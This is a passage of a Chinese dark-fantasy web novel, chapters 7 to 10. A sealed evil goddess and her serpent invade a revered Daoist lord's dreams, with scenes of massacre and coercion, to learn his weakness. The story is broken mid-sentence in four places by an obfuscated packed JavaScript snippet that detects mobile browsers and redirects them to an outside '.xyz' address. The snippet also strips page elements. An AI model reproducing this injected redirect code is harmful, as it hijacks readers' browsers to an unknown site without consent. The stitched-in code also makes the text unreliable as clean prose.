陆微璎以她偷窃莲藕为名要逮捕她,将她关入七重山刑罚堂,里头都是触犯道宗宗规的弟子,不受满刑罚,不可离开。 显然,她的触犯的宗规很严重,直接把她吊起来,等堂主亲自来审问她。 小蛇在里头兜了一圈,跑回来说:“里头黑漆麻乌的,都是血,没什么好看的。” 不过一会,陆微璎走进来,声音轻蔑:“亵渎道君就是这样的下场。” 她特地嗅了嗅,已经闻不到那股莲香,但依旧觉得不爽。 “我宗以道君为尊,任何冒犯、危害道君的人,都将被吊七日,全宗通报。你还敢偷道君的莲藕,罪不可赦!” “裴云霄,七日后,就是你的死期。” 北溯扫了眼她这副小人得志的模样,没理她。 “就你还想罚北北,你等着,今晚我就在你饭里下毒!”小蛇尾巴一甩,朝她头上甩了一尾巴。 陆微璎只感觉到头顶一阵凉意,狐疑地盯了会北溯,听见身后脚步声,立刻带笑转身恭敬道:“堂主,犯规的弟子就是此人。” 刑罚堂堂主姓王,虎背熊腰,体型壮得连光线都遮住了。 王堂主往牢房里看了眼,摆摆手,转身就走:“先吊着,明日一早吊到六重山。” 陆微璎面上一喜,说了声是,等王堂主一走,小心思藏都不藏了:“当初星峦长老将你提拔到重莲殿做事,我就不同意,你这样的人怎么配服侍道君,果不其然,你心思不纯。” 北溯快装不下去,这人再不走,她就忍不住想动手了。 陆微璎冷哼一声,终于离开。 北溯盯着她的背影,手指一动,小蛇忽然膨胀身形,张开巨口,一口吞了陆微璎。 一息过后,被吊着的人呆滞着缓缓歪了脑袋。 陆微璎先前站着的地方闪过一道黑影,“她”的身影重现,不是很满意地拍了拍脸颊。 “当初我看到你就觉得不顺眼,果不其然,现在还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860746|176011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不顺眼。” 小蛇呸呸两口,嫌弃道:“她的味道好臭,还是莲花的味道香。” 北溯挠挠它下巴,扬起笑:“走吧,带你去吃莲花。” 七日,足够她摧毁成镜意志将他带走。 只要他没法用昆仑镜,触发不了七绝阵,一切都在她掌握之中。 北溯让小蛇吐出成镜气息,直接潜进重莲殿。 脚步轻盈地落到地面,每走一步,无形的力量荡开,弯月与莲池倒转,周遭声音逐渐消失。 那轮比昨晚圆了些的月缓缓从窗户中露出真容,静谧月光洒进来,躺在床榻上的人清晰可见。 他的发被平整在身后,两旁散开的墨发在月光下,黑得如绸缎般,顺滑而有光泽。 眉心莲花印记与月光交相辉映,阖上的眼睫纤长,北溯伸手碰了碰,他的睫羽不像她的那么软,一碰上去,硬得戳手。 “睡得挺香。” 视线缓缓下移,在他高挺的鼻梁上停留片刻,最终被他淡色薄唇吸引。 几次见他,他说话时薄唇上下轻碰,声音便出来了,她其实很想看他的唇发出别样的音调,那时唇色应是浓郁的,而非现在这般令她没什么兴致的寡淡。 视线里他的胸膛忽然起伏,当即收了手,语气可以听出几分兴奋。 真想看看,被誉为仙界生灵之源的金莲,能否承受世间污秽,被玷污侵染后,还能不能保持原本的圣洁。 她看着他几乎透明的里衣,抬手抚上他的眉心:“鳞舞,你说今晚,他会不会崩溃到被困在梦境里,求我放过他?” 被万人敬仰的道君亲手屠戮人间生灵,还有什么是比这还能摧毁成镜意志的? 小蛇激动地舞着尾巴,竖瞳缩成一条线,硕大的身形挤满寝殿,将床上的人吞下。 一把火涌出,将整个寝殿点燃,成镜从重莲殿里走出来,血冲刷他的青衣,重莲殿前的池水黏稠,腥臭,黑沉。 那是无数弟子的血流入莲池中,原本高洁不染脏污的莲,被血浸泡。 这是血池,是成镜一手造出来的地狱。 “道君,为什么……你要堕魔……” 有人抓住他的脚踝,衣摆上是无数被他手刃后留下的血手印。 他抬脚碾碎那人的指骨,凄厉的吼声响彻夜晚。他带血的脚掌踩在那人的背上,那人呕出一口血,彻底没气。 他身形忽然消失,出现在凡人城池中,鲜红到如血色的莲花绽放,整个城池瞬间发出凄厉惨叫,所有人在他这一击下丧命,孩童的哭泣声被他捂住,就这么窒息而亡。 他站在城墙上,垂眸往城里看。 这片被血淹没的土地上,只有这个作恶的人还活着。 他的身影忽然消失,出现在重莲殿前,再次重复这个梦境。 他抬手砍断天綪的头,捏碎她的脑袋。 北溯坐在弯月之上,低头俯视那个被血玷污的男人,托起下巴,打量了会,忽然跳下去。 她跳进血池中,用鲜血染透自己。 血池下忽然出现死不瞑目的妖兽,他们瞪着充血的眼,全都盯着她。 却在她浮出水面时,消失殆尽,水底重新被无数的尸体占据。 她从水里爬出来,走上塘埂,走向他。 “痛苦吗?想解脱吗?” 被血浸透的脸笑着,北溯朝他伸出手,如同从地狱里爬出来的恶鬼,邀请他堕落。 男人额间莲花印闪了一瞬,缓缓抬起眼帘,眼睫一眨也不眨地看着她。 8. 第 8 章 那双眼透彻,平静,看不出一丝挣扎。 便如那朵莲花一般,即使周身都是淤泥,都不会沾上半分泥泞。 北溯很讨厌这样的表情,那些道貌岸然的仙人便是用这种自以为看透一切的表情,给她定下祸乱苍生的罪名,杀不死她,转而去迫害她身边的人,还要将她封印。 而现在她醒来,那群老不死的居然已经死了,该说他们是幸运的,否则,等她为鳞舞治好伤,第一件事就是去杀了他们。 “北北,梦境好像对他不起作用。”小蛇仔细观察成镜,没感知到他有丝毫动摇。 北溯哼笑,笑声越来越大,像是听到什么令她愉悦的话,将她逗笑。 笑声骤然停下,她打了个响指,遍地的尸体不见,血气消散,莲池又恢复成那般美好静谧,成镜身上的血迹褪去,一身薄衫垂坠,发丝柔顺地垂落,眉心莲花印记依旧那么圣洁。 他只站在那,便让人联想到那洁净的莲,亭亭净植,只可远观。 可北溯偏要折下这朵莲。 莲池之上,连月光都是皎洁的,只有她,依旧一身血,猩红的眼眸迸发出兴奋,抬起的手还在滴着血水,落到地面堆积成血泊,逐渐蔓延到成镜脚下。 “唔,梦境影响不了他,那就逼他一把。” 像曾经她被逼时那样,逼迫他去亲手去杀。 北溯抬手,轻轻拂过他的头顶,嘴角噙着笑,眼里却是疯狂。 最讨厌这种自视清高的人,真的好想好想,将他踩在脚下,看着他脸上这副清高的表情破碎,被她蹂躏到无法反抗只能忍着。 手中力气忽然加重,站着的人被按下,他的身体僵硬,似乎还存有自主意识,坚持着抵抗她的力量,不向她屈服。 他的膝盖微微弯曲,一直都没有被压着跪下。 北溯蹙起眉,轻启唇,不耐地吐出两个字。 “跪下。” 莲池咕咚咕咚冒泡,水面破出一条血色尖刺,血荆棘从莲池里爬出来,缠住他的身体,绞住他的双腿,将他往下拉。 莲花印记忽然闪烁,夜空中圆月倒退,逐渐转缺。 血荆棘断开,他站直了身子,缓缓转动脑袋,偏向她的方向,那双眼瞬间清亮。 眼前并无活人,只有一地的血尸,而他浑身是血,指尖黏腻,血里混着其他液体,他只一眼,便看出那是什么。 成镜虚虚握住掌心,抿唇看着周围,是他熟悉的莲池,但是从未见过的血海。 幻境?噩梦? 他抬手拂过眉心,感知印记发烫,眉宇蹙起,越发觉得怪异。 印记有反应,并非是他在做梦。 但显然这里并非现实。 突然冲过来的人打断他的思绪,那人一身的血,双目猩红,口中还有血流出,四肢并用冲他跑过来,还是人的身体,却与野兽无异。 距离他不到三米的距离,那人一跃而起,张开牙都被染红了的嘴,朝他撕咬。 一息之间,那人拦腰截断,在塘埂上滚了一下,坠入莲池里,荷花都被震得摇晃。 成镜低头看着自己的手,眼中情绪少见地波动,就在方才那人冲过来时,自己的手不可控制地斩断了那人的身体。 失神的片刻时间,周围出现越来越多的人,那些人中有他认识的面孔,他们或是质问,或是怒骂,质问他为什么要杀同门,骂他丧尽天良,抛弃道义堕魔,屠戮无辜之人。 他站在那,满身是血,被包围着,谩骂铺天盖地而来,他却无所反应,清醒地认知到这是假象,闭眸定神,寻找破绽。 男人敛眸抬手,莲花印记泛着晶莹的光,为他添了几分神性,如同神像,平静地将众生怨言尽数收下,却无半分不耐。 北溯哼声,细细打量他,对他的实力又有了更进一步的了解。 “比上次挣脱我的梦境迟了些。” 她若有所思地望着被包围的男人,目光扫视周围,寻找异常之处。梦境是她造的,但被她拉入梦境中的人内心最渴望或是最惧怕的东西,在无形之中会显露出来,以某种意象展现。 他没能如上次那般很快挣脱,定然是意象出现,削弱了他的力量。 究竟有什么不同呢。 莲池?他这个人?还是—— 北溯仰头,夜空中的圆月被挖了一道口,缺了三分之一。 “鳞舞,我们进来时,月亮是满的吧。” 小蛇点点头:“是的是的。” “你看,它现在缺了一角。”北溯抬手指向那轮月,低声道:“他的梦境里,一直都有月亮呢。” 小蛇挠头,疑惑看向还在施法的男人,听见北溯说:“现在的月亮,和现实中恰好一样呢。” 一样的盈缺。 北溯低低笑出来:“原来你的弱点在这。” 那就好办了。 她向小蛇勾了手指,小蛇缠到她手腕上,尾巴尖在她小指上绕了半圈。 “再试一次,我就能彻底知道你的弱点。” 她转身,没有一丝留恋,径直跳入莲池中。 水声响起,成镜骤然抬眸,眼中金芒闪过,偏头看向北溯方才跳水的方向。 那里并无一人,水面平静。 周遭的谩骂于他而言并无实质影响,他闭上眼,再度睁开时,入目已经是寝殿。 身体依旧是自己休息前的姿势,寝殿内静悄悄的,被他锁着的发簪还在,一切没有什么不同。 成镜抬手扶额,灵力荡开,迅速笼罩整个莲池,所有莲花与他通感,将他休息后莲池内发生的一切传达给他。 如昨晚那般,并无异样。 成镜重新躺回去,阖上眼帘,却骤然睁眼撑起身,薄衫滑落肩头,气息微乱。 带着命令的强硬语气,一道女声突兀在脑海中响起:“跪下。” 成镜扶额,头顶似乎有一股压力压下来,逼迫他跪下。 “是谁……” * 刑罚堂迎来了贵客,王堂主亲自迎接,一听成镜来意,立刻带他去领人。 “道君要亲自看管,我等定然是要将人交还给道君的。”刚走到牢房前,一看里头精神极佳的人,王堂主面露诧异,不过没多说什么,直接叫人去给她松绑,还提议他将人送去重莲殿,被成镜拒绝。 被吊着的人跌坐在地上,仰头看过去,普通的容貌下竟然有一双极其灵动的眼。 此刻这双眼里没有求饶,只有惊讶。 北溯很惊讶,他会把自己提走,带去重莲殿。 “北北,他发现你了吗?” 北溯不觉得,他可能是发现了什么,但不确定就是她。 不过么,直接将她带去重莲殿,他就不怕她吃了他? 这个念头刚起,就听他清冷嗓音,北溯觉得这声音确实好听,能让人瞬间清醒。 “起来。” 北溯顺从地站起身,眼前一道残影闪过,身体被一条柔软的绳子缠紧,小蛇勾了勾,惊叹道:“北北,这玩意还有弹性。” 要用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860747|176011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这种东西锁住她? 他还真是单纯。 邪神怎么可能会被凡物锁住呢。 见着男人一抬手,阵法浮现,下一秒人站在了凉亭内,且自己站的位置,恰好是那晚查看禁阵时的位置。 他在试探。 北溯无所谓,除非她自爆,等他试探出来,她已经确认他的弱点,将他劫走了。 成镜却没立刻审问她,而是将她关在一处与外界隔绝的囚牢内,四周全是禁锢阵。 他要离开时,北溯看着他的背影,忽然说了一句话:“我食道君的莲,道君就这么放过我?” 他的脚步停顿,却未转身,声音淡漠:“那些并非以我灵力滋养的莲,与普通莲花并无差异。” 北溯诧异,他自己的灵力可以养莲,那会是什么滋味? 她的眸弯了起来,转而去看小蛇。 小蛇被她直勾勾的目光看得一抖,有种不祥的预感。 “你听见了吗,他的灵力可以滋养莲花。” 小蛇愣愣点头,那又咋了? “那他的身体,除了成为你的容器,还能生出新的金莲,对吧?” 小蛇想了很久,觉得不太对。 他是公的,他能生小金莲? 北溯眼中的笑意扩大,即使被关在更黑的囚牢里,也看不出一丝怒意。 “今晚,我就能知道你的弱点。”北溯抚摸着小蛇的鳞片,眸色晦暗:“寻了三个月,我都快要等不及了。” …… 陆微璎是被弟子叫醒的,一醒来发现自己睡在屋顶,全身凉嗖嗖的,一点都没有自己怎么上去的记忆,连什么时候回来的都不知道,只觉得四肢酸痛,骨头散了一般。 “被关进去的人呢?” 弟子回答:“裴云霄已经被道君提去重莲殿审问,陆执事不必担心。” 陆微璎冷笑,以道君公正不阿的性子,那偷莲贼必然会被重罚,她就等着看裴云霄哭着求饶。 傍晚时分,吞云殿来人问她裴云霄是否已经被处置,陆微璎如实回答,那人却惊诧道:“道君将人提走了?” 陆微璎不明白她为何会如此震惊,正要说这不是更好吗,她转身就要回去复命。 陆微璎心中一颤,不知自己是否做错了,不该让裴云霄被带走,追上去问:“可是哪里安排得不妥?” 那人急急道:“宗主下令由你去解决偷盗之人,便是不想打扰到道君,你怎么连这都做不好,还惊动了道君?” 陆微璎呆滞,她并未想到此事不可被道君知晓,连忙跟着一起去吞云殿请求宗主宽恕。 “你,唉!”那人心头隐隐不安:“希望宗主不会怪罪下来。”不过道君知道身边伺候的弟子有盗窃行为,定然不会放过,她也不懂,为何要绕过道君去处理这件事。 被她们惦记的人此刻还在禁锢阵中,思考今晚该如何入成镜的梦。 “一旦他有所防备,我便不太容易能控制他的梦,他清醒着,随时可以挣脱,唔,有些难办啊。” 小蛇兴奋:“北北你要是有五成把握能找到他弱点,我们直接动手吧,怕什么!” 只要成镜用不了灵力,还不是仍由他们摆弄,届时只差一个护宗大阵,又有何惧。 北溯觉得这是个好办法。 “那就将他拉入我的梦中,换我来禁锢他。” 她抬头望着看不到夜空的顶,小蛇的身影时大时小,在这无亮光的囚牢里,显得狰狞可怖。 “月快要圆了呢。” 9. 第 9 章 不等北溯去找他,他先来了。 一丝光透过门缝进入囚牢中,地面浮现朵朵莲花,他无声地走到那垂头不动的人面前,审视她良久,忽而开口:“你昨晚在何处?” 他的眸光掠过那根火色翎羽状发簪。 头顶一松,那支翎羽发簪被抽离,浮在成镜面前。 “妖王的凤凰翎羽。”肯定的语气。 被质问的人缓缓抬头,那支泛着红光的发簪漂浮到她眼前。 小蛇尾巴尖勾了勾发簪,没有勾动,松开尾巴打了一下发簪,回到北溯肩上。 北溯没看那支发簪,慢慢站起身,先前绑住她的绳索捆住她的手腕,她并非无法解开,只是想知道这朵莲花接下来要对她做什么。 她的双眼直视面前的男人,片刻后发出一声很轻的笑。关了一天,只是来审问她吗? “昨晚?”她动了动被锁在身后的双臂,松松筋骨,目光一直落在成镜身上,眼神不加掩饰露骨地打量,忽然抬脚朝他逼近一步。见他不躲,北溯低笑。 “昨晚我不是被关在刑罚堂里么?”她的声音悠然,没有一丝被囚禁的慌乱:“我窃了你的莲藕,被陆执事带去受罚,若不是今日你来,我便要被吊在六重山,以儆效尤哦。” 这话张口就来,她还在看他,看他穿了一身浅蓝色衣衫,衣袍松松垮垮,与道宗所有穿戴整齐一丝不苟的人格格不入。 偏生又生了张勾人又令人不敢靠近的脸,气质还那么冷清,这人实在太矛盾。 禁欲的脸,张力拉满的身体,着实迷人。 目光下移,落在他胸膛下那处位置,问小蛇:“老不死的说金莲可孕育万物,却没说原形与人身孕育的效果是否有差别。” 小蛇还没来得及接话,便听到成镜稍显不悦的声音:“你在看哪?” 北溯移开目光,重新落到他脸上,再次感叹。 在她看到这朵金莲人身前,那些见过他的人,不会生出觊觎的心思么? 这群人什么时候,学会了按捺住心底自私的欲望,只表露出单纯钦佩的一面? 也对,他是所有人敬仰的道君,都快将他奉为神,怎么可能敢生出这种心思。 “道君看不出来我在看哪吗?” 北溯挑眉,瞧了眼他头顶,啧了一声。 还是不习惯有人这么站着与她说话。 身后的手动了动,只那一瞬间,成镜的束缚降临,小蛇膨胀身形,挡在她头顶。 小蛇微弱的痛呼传到北溯耳中,她脸上的表情没有变化,但给成镜的感觉却是自己被强烈的杀意包围,如万把利刃尖端即将刺入身体。 “鳞舞。”她的声音含着冷意,敛去悠闲,与之前判若两人。 只一声呼唤,小蛇便知她没说的话是什么,立刻缩小身形,盘回她肩膀上,漆黑的身体黯淡很多。 没有阻拦的法术压下来,北溯硬生生受着,未曾吭一声。 成镜感知到滞后的反馈,朝她头顶上空看了眼,抬手再次释放灵力,这次动了真格。 绽放的莲花压下来,周遭禁锢阵法都被其威力波及到,摇摇欲坠,几乎破碎。 “北北,他要把你做成莲子。”小蛇想起来那晚成镜将吸收凤鸣攻击的莲子扔进莲池里,顿时一个哆嗦:“我们要变成肥料了!” 北溯抬手把小蛇压扁,不让它说话。 神识放开,笼罩整个重莲殿,随后抬脚,朝成镜迈了一步。 这一步,成镜面色微变,向来无甚表情的脸上掀起一丝波澜。 “现在你还没那个本事杀我。” 北溯抬手,小蛇涨大身形,眨眼间缠住成镜身体,蛇信伸出,巨大的脑袋立于他上空,虎视眈眈。 阴暗的囚牢内丝丝月光照耀进来,北溯抬手打下他要施咒的手,扯住他的领口,眸光轻飘飘往里扫过。 旋即向后倾倒,拽着他往地面倒去。 所有禁锢阵法碎裂,一片无尽的海取代脚下土地,北溯坠入海中,海水荡起,吞没成镜的身体。 宛如能吞天的黑蟒俯下它巨大的头颅,将他们一口吞下。 无边无际的黑暗降临,周围寂静得连呼吸声都能听见。 成镜立于这黑暗中,眼前什么都没有。 他抬手抚过眉心,没有得到熟悉的波动,灵力无法施展出来。 不得不承认一个事实,他被困住了。 成镜垂下眼眸,静静凝视脚下的漆黑,只片刻后,一声尖锐叫喊响起,声音不远,就在前方。 他抬头,周遭黑暗缓缓被破开,前方起先亮出一条竖线,那竖线朝两边扩张,光从那刺进来。 不适地半阖了眼,那光源越来越亮,扩散的速度越来越快,随后吞没所有黑暗,周围环境转变,密密麻麻的妖兽皆朝着他的方向跪伏于山脚下。 目光一转,几名修士立于身侧,而发出那道叫喊的人被一名修士提着衣领,悬浮在海上,海面凶恶妖兽虎视眈眈。 怪异的是,这群修士脸上皆无五官,包括被提着的那人。 “殿下,就是此人向昆仑告密,暴露您的行踪,引来昆仑仙人围捕您。” 成镜听见身侧修士在与自己说话。 能被称为殿下,受万兽臣服的,除了妖族妖王,没有旁人。 成镜脑海中浮现两个人选,却觉得那两名妖王并不符合。 他静默片刻,未曾等到有人答,瞬间了然,他又进入了幻境中,而这次,显然并非捏造出来的,而是自己替代了某人的角色,经历“他”曾经经历的某个场景。 既然将他拉入这幻境中,却又要掩盖幻境中的人容貌,她这么做,意欲何为? 他没有应话,那修士忽然惶恐道:“我等并非与他那样存了害殿下的贼心,殿下您为人界驱逐异种,救助苍生,我等感谢还来不及,怎会将您暴露给昆仑!” 此人话一出,其余修士立刻跪下。 又是一片沉默。 成镜猜出是自己替代的人在说话,但他不知说的是什么,只能通过修士的反应判断。 修士忽然一口血涌出,身子坠入兽海中,被妖兽撕扯啃食。 有修士惊恐叫喊:“殿下,此事绝非我等所为!昆仑在人界四处遣人寻找您的踪迹,他们是仙人!他们随意便可控制我等凡人,即便我们再忠心于您,也抵抗不了他们的仙术啊!” 成镜转头看向他人,他一身的紫色衣袍,服制看着有些眼熟。 三句话里皆提到昆仑。 当初封印邪神,几乎耗尽昆仑仙人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860748|176011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昆仑会耗力去追捕妖王踪迹? 如今昆仑已避世百年不出,且道宗内那面昆仑镜还是宗主天綪百年前于昆仑山下虔诚跪拜,苦求三年所得,以此守护道宗。 在这些修士口中,昆仑好似是个令他们惧怕而又邪恶的存在。 成镜尝试问他,却发不出声音,不能控制自己做出动作,先前转动视线,也是身体的主人在动。 不知身体主人说了什么,那些修士起身,连连说谢。 浮于海面的修士松手,被提着的人猛地下坠,尖叫声被海兽吞噬。尾鳍拍打,海面溅起水花,海兽没入海底,不见踪影。 成镜只感觉到身体转了身,光线变暗,漆黑泛有光泽的鳞片涌入眼中,掌心传来冰凉湿滑的触感。 “他”来回抚摸着这条身体比树干还粗的黑蟒,一股微妙的餍足感升起,成镜不大喜欢这种感觉,像是自己的身体被人入侵,强制地灌输他不会有的情绪,将他变成另外一个人。 变故突生,手下的巨蟒忽然癫狂,发狠地咬住抚摸它的手。 剧烈的痛传达大脑,成镜忍耐着这几乎与现实中无异的痛感,感知到尖锐的毒牙刺入手臂,穿透骨头。 身后传来充满恨意的骂声:“魔头,今日就是你的死期!” “若非是你引来异种裂缝,我们怎么会死那么多人!” “我们已经向昆仑禀告你在此处,待昆仑仙人赶来,你必死无疑!” 方才还在说谢谢的修士瞬间变了嘴脸,齐齐上来要杀“他。” 成镜只看到黑蟒咬着“他”的手臂,翠绿的眼瞳里很快盈满了水,它的身体鳞片上浮现一层层金印,发狂一般地挣扎搅动,粗壮的尾巴险些打到“他”身上。 他能感受到这具身体里的怒火与心疼,“他”没有理身后攻击自己的人,用力抱住黑蟒。 身体里一股柔和的力量涌出,渡入黑蟒体内。黑蟒的眼泪砸湿“他”的胳膊,它挣扎着与金印抗衡,眼瞳一会清明,一会混沌。 “你竟然舍得用灵源去给这条孽畜解昆仑仙术,缺了灵源,你的修为就会大幅度减弱,今日你必定会被埋葬于此!” 身子趔趄,“他”抽出毒牙,只一条胳膊,抬手握住修士刺来的剑,鲜血淋漓。 数道霞光自苍穹闪过,三道投影浮于空中,一字未说,抬手结印。 “他”硬生生掰断了剑,手腕一转,飞刺进修士脖颈,血喷溅出来。 成镜感知到“他”对黑蟒说了一句话,眼前一黑,黑蟒的身体压下来,一声凄厉的嘶吼响彻天地。 灵源输出中断,“他”的身体被毒牙穿透。 火焰灼烧一般的痛从身体上压迫到神经,成镜痛得蜷缩起来,汗珠连缀成雨,片刻时间浑身湿透。 从未经历过的痛折磨着,痛得令人想立刻去死。仿佛肢体被一点点锯开,勾着被刺穿的伤连着皮肉往下拉,能清晰地听见皮肉撕裂的黏腻声音,感知到身体被撕裂。 他跪伏在地,捂住胸口,连呼吸都会引发身体更剧烈的痛。 “够了。” 骤然听见一道冰冷的声音,在此刻饱受疼痛的成镜听来,如同天籁。 “你看他,根本受不住。”那声音夹杂着轻蔑:“这才到哪,就疼成这样。” 10. 第 10 章 “抱歉北北,我不是故意带他进入你的过去的……”小蛇小声说,瞅了北溯好几眼,此刻她们已经脱离出来,说的话成镜听不见。 浑身的痛如潮水般迅速退去,身体不再疼痛,但在精神上烙印下的折磨还在。 成镜缓缓直起身,周遭依旧黑暗,看不到任何人影,那声音像是从四面八方响起,捕捉不到具体方位。 他定了许久,将刻在精神上的痛感驱逐,敛神沉思,脑中迅速过了一遍方才看到的场景,蓦然开口:“阁下屡次拉我入幻境,意欲何为?” 回答他的只有无尽的死寂。 与世界隔绝,听不见丝毫声音,一切都变成他一人的独角戏。 他立在黑暗中的身形挺拔,即使遭受足以令人晕厥的痛,仍旧能立刻调整好状态,他这样的人,不论处在何种境地,都能保持着一贯的冷静。 北溯不喜欢。 不论他是装作镇定,还是确实不担心自己安危,她不喜欢他这样极度的冷静,冷静到几乎感知不到他情绪波动。 难道金莲成了精,却没有人应有的七情六欲? 那他成什么精,好好地当他的莲花,被那群老不死的拿去修复仙骨好了。 既然修出人形,就该被这世间污秽侵染,被人无止境的欲望吞噬。 挑剔的目光在他身上停留许久,她才让小蛇将他们吐出来。 黑暗被皎洁的月光取代,一片无尽地海蔓延,分明有了光,成镜的脸色却变得凝重,在那些几乎充斥夜空的圆月闯入他眼中时,他的身体下意识往后退了一步,步伐很小,连衣衫都未曾晃动,几乎看不出来他后退。 但北溯感知到了。 此处是她特地为他设置的梦境,处于梦境中的人一举一动,都会被她感知到。 北溯仰头,瞧着密密麻麻如星辰的圆月,控制着圆月由圆转缺,再转圆,如同人的眼,睁开,再闭合,有种诡异与绚丽交织的美。 像是找到什么有趣的玩意,一直重复这个操作,也不去看那人的反应如何,专注瞧着月亮。 好多的月亮啊。 忽然想起有个老不死的说过,金莲会在月圆之夜盛开,届时是取莲的最佳时机。 “唔……”北溯露出笑,勾了勾小蛇尾巴,幽幽道:“成了精的金莲,应该也一样吧。” 无形的力量扩散开来,天空中的月圆融到一起,成了一轮几乎将整个空间都占据的巨大圆月,它依旧悬在空中,却给人一种它就在头顶的压迫感,成镜的身影在它面前,比蚂蚁还要小。 看到这轮圆月的瞬间,瞳孔收缩到极致,面上有一瞬间的波动,随后很快归于平静。 “那我们得在月圆之夜将他炼制成容器吗?”小蛇竖瞳兴奋地盯着下方的男人,迫不及待想要他成为修复自己的容器,太久没有与除北北以外的人接触,它都快要发霉啦! 北溯嗯了一声,跳下去,缓缓落下。 “距离月圆,不到三天。” 她落在成镜面前,他的视线直接穿过她的身体,他看不见她,不知道这个已经盯上了自己,数次拉自己入梦境的罪魁祸首,就在眼前。 润白无暇的脸上没有惧怕,也无慌乱,只平静地注视前方,犹如一座雕像。 北溯朝他走近一步,只那么一两层衣衫隔着,几乎贴到他身体。似乎发现什么有趣的事,唇角勾起:“鳞舞,你有没有发现。” 小蛇凑近来看,摇头:“我没有发现。” 北溯瞥过他绷紧的下颚,声音很轻很轻,“第一次他直接挣脱出来,第二次他有意识地抗拒我的操控没有跪下,这一次,他连控制梦境中我的身体都做不到。” 小蛇隐约想到什么,但抓不住,直接问北溯:“北北你快说!” “他挣脱梦境的时间越来越长,反抗的能力越来越弱。”北溯抬手,在成镜的眼上掠过,他感知不到她的存在,也就没法做出反应。 “那就意味着,月圆之时,他的力量会衰弱到,”她收回手,像个找到隐藏的惊喜的孩童般,展露纯粹的笑:“无法抵抗。” “不论我对他做什么,他都无法抵抗。” 这是金莲的弱点,老不死的只说了月圆之夜取莲最佳,却不曾告诉他们,是因金莲的力量会在月圆之夜衰弱到几乎全无。 月圆之夜一过,兴许会慢慢恢复。 不知道宗那几个长老宗主是否知道他们几乎奉为神人的道君身上,还有这么一个弱点,这对北溯来说,是个好消息。 至少她不用在他身上耗费太多的力量。 两双眼同时落在他身上,如同看砧板鱼肉,在想先吃哪里比较好。 成镜等了许久,再未曾听见那道声音响起,他抬起手要去抚摸额间印记时,清晰地感知到一股冷意在自己正前方射过来,眼帘张开,凝眸去看,入目的只有皎洁得如白纸一般的月。 而北溯就在他身前,直视他犀利的眼眸,忽然觉得他的眼睛也十分好看。 少见的丹凤眼,狭长似凤,眼尾微翘,配上这犀利眼神,倒有种别样的韵味,让人想吻上去,让这双眼在自己的吻下颤动,让他的眼流露出求饶,被欲望控制的迷离。 他的动作只停滞片刻,指腹拂过眉间,莲花印记闪烁,脚下海面波动。 北溯顺势解开梦境对他的束缚,先他一步离开梦境。 入目的是禁锢阵全都破碎的囚牢,绳索断裂,散落在她脚下。而面前的人神情呆滞,显然还未从梦境里出来。 北溯正想着要不要拉他一把,铺开的神识感知到一股迅速靠近的气息,不耐地皱眉。 “扫兴。”北溯朝小蛇说了句:“你留下,看着他。” 不再看成镜一眼,她走出囚牢,步入夜色中时,身形变化,莲花印记自额间浮现,身量拔高,外形与成镜无异。 禁阵开启,雾气散开,水中倒映出白衣身影,“他”一步步走在水栈上,散漫地走向凉亭。 凉亭内的人目光定格在“他”身上,待“他”走近,忽然问:“这么晚了,还没歇下?” 北溯嗯了一声,他确实还未歇下。 她站在距离凉亭不到三步远的距离,倒映在水中的月清晰可见,那月只缺了一小块,不细看,会以为那是圆月。 “你将那违反宗规的弟子带走了?” 北溯看了她一会,才说:“我不能带走吗?”要杀她的人原来在这,她与天綪无冤无仇,日日繁忙的宗主还有空盯上她? 天綪忽然朝她走来一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860749|176011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步,问:“那晚借用昆仑镜的力量,是遇到了无法应对的危险?” “已经解决。” “那便好。” 两人这么一问一答,不再说话时,双眼对视,漆黑如深潭的眸看不出一丝异样。 北溯先前在吞云殿见此人时便觉得不舒服,现在离得很近,这感觉越发重,此人看着与那群修士无异,但总给她一种违和感。 宛如怪物披上皮,藏在人群里。 与老不死的一战,修为大损,目前实力相当无妄境巅峰,若非神格加持,她怕是要被这群修士发现。 “宗主还有事?” 